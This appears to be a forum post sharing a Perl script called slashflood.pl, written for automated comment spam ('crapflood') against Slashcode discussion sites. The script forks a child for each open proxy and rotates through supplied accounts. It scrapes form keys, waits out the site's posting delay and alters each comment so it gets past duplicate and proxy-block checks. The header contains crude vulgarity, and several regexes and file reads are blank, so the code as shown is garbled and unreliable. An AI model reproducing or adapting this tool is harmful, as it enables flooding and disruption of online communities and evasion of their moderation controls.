here is my implementation, in the style of a fork bomb... someone else's may be better.
#!/usr/bin/perl
#
# slashflood.pl
# unholy robotic proxied crapflood terror for Slashcode
# logged-in or AC
#
# december 2002 sexual asspussy sexualasspussy@hotmail.com
#
# usage: ./slashflood.pl url proxy-list content [account-list]
#
# url: something like "http://slashblog.org/comments.pl?sid=NNNNN&pid=NNNNN&op=Reply"
# proxy-list: a file containing proxies in the form "XX.XX.XX.XX:PPPP", one per line
# content: a file containing the posttype (1=plaintext, 2=html, 3=extrans, 4=code) on
# the first line, the postersubj on the second line, and the postercomment until EOF.
# account-list (optional): a file containing a list of usernames and passwords,
# separated by tabs, one pair per line.
#
###
#
# This program can run up against max-processes-per-user limits when forking. Either
# use 'ulimit -u' to bump to a higher maxproc, or run as root. Also be aware of global
# max-proc limits.
#
#
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;
main (@ARGV);
sub main {
my $url = shift;
my $PROXIES = shift;
my $CONTENT = shift;
my $ACCOUNTS = shift;
my @proxies = ();
my %accounts = ();
my $posttype;
my $postersubj;
my $postercomment;
## populate our list of proxies
#
open PROXIES, $PROXIES or die $!;
my $p;
while () { /^(.+)$/;
$proxies[$p++] = $1;
}
close PROXIES;
## populate our hash of accounts, if user specified a file
#
if ($ACCOUNTS ne "") {
open ACCOUNTS, $ACCOUNTS or die $!;
while () { /^(.+)\t+(.+)$/;
$accounts{$1} = $2;
}
close ACCOUNTS;
}
## parse content
#
open CONTENT, $CONTENT or die $!;
$posttype = ; chomp $posttype;
$postersubj = ; chomp $postersubj;
while () {
$postercomment .= $_;
}
close CONTENT;
## fork a child for each proxy
my $iter;
foreach my $proxy (@proxies) {
$iter++;
FORK: {
if (my $pid = fork) {
### parent process
# sleep 1;
} elsif (defined $pid) {
### child process
print STDERR "child started for $proxy\n";
my $unickname, my $upasswd;
if (scalar keys %accounts > 0) {
$unickname = (keys %accounts)[int rand scalar keys %accounts];
$upasswd = $accounts{$unickname};
}
my $failures;
while ($failures<3) { ## should be a while loop -- change to 'if' for 1shot
sleep int rand 150;
print STDERR "child $proxy obtaining formkey\n";
if (post ($url, $proxy, $posttype, $postersubj, $postercomment, $unickname, $upasswd) == 1) {
## failure to get formkey
$failures++;
print STDERR "child $proxy has $failures failures (max 3)\n";
} else {
print STDERR "child $proxy returned with success\n";
}
}
print STDERR "child $proxy exiting -- too many failures\n";
exit;
} elsif ($! =~ /No more process/) {
### EAGAIN error, recoverable
redo FORK;
} else {
print STDERR "hit user process limit\nexiting fork loop after $iter passes\n";
goto ENDLOOP;
}
}
}
ENDLOOP:
print STDERR "parent left fork loop, sleeping...\n";
while (1) { sleep 1; }
}
sub post {
my $url = shift;
my $proxy = shift;
my $posttype = shift;
my $postersubj = shift;
my $postercomment = shift;
my $unickname = shift; ## these args are optional
my $upasswd = shift; ##
# set up pseudobrowser
my $ua = LWP::UserAgent->new;
$ua->proxy('http', "http://$proxy");
$ua->agent('Mozilla/5.0');
$ua->cookie_jar(HTTP::Cookies->new);
# fetch us a sid, pid, and formkey
my $response = $ua->request(GET $url);
my $sid, my $pid, my $formkey;
foreach my $x (split /\n/, $response->content) {
if ($x=~m||i) {
$formkey = $1;
} elsif ($x=~m||i) {
$sid = $1;
} elsif ($x=~m||i) {
$pid = $1;
}
}
if ($formkey eq "") {
print STDERR "child $proxy: failed to get formkey\n";
return 1;
} else {
print STDERR "child $proxy: got formkey $formkey\n";
}
sleep (20 + int rand 20); # damn 20sec delay
# make postercomment unique
$postercomment .= sprintf "\n%d", (int rand 31337) + 1;
$url =~ /(http.+comments.pl)/;
my $req = POST $1, [
sid => $sid,
pid => $pid,
formkey => $formkey,
unickname => $unickname,
upasswd => $upasswd,
rlogin => 1,
postersubj => $postersubj,
postercomment => $postercomment,
posttype => $posttype,
op => 'Submit'
];
$req->referer($url);
$response = $ua->request($req);
if ($response->content=~/comment submitted/i) { return 0; } #success
if ($response->content=~/submitted comment/i) { return 0; } #success
# probably a blocked proxy:
if ($response->content=~/you can.t post to this page/i) {
print STDERR "child $proxy: proxy might be blocked\n";
return 1; #failure
}
# munged somehow
if ($response->content=~/several active discussions/i) {
print STDERR "child $proxy: something went wrong\n";
return 1; #failure
}
# blank page -- you fail it
if ($response->content eq "") {
print STDERR "child $proxy: received null response\n";
return 1; #failure
}
# other response -- assume success
print STDERR "child $proxy: received response -- assuming success\n";
print STDERR $response->content;
return 0; #success
}
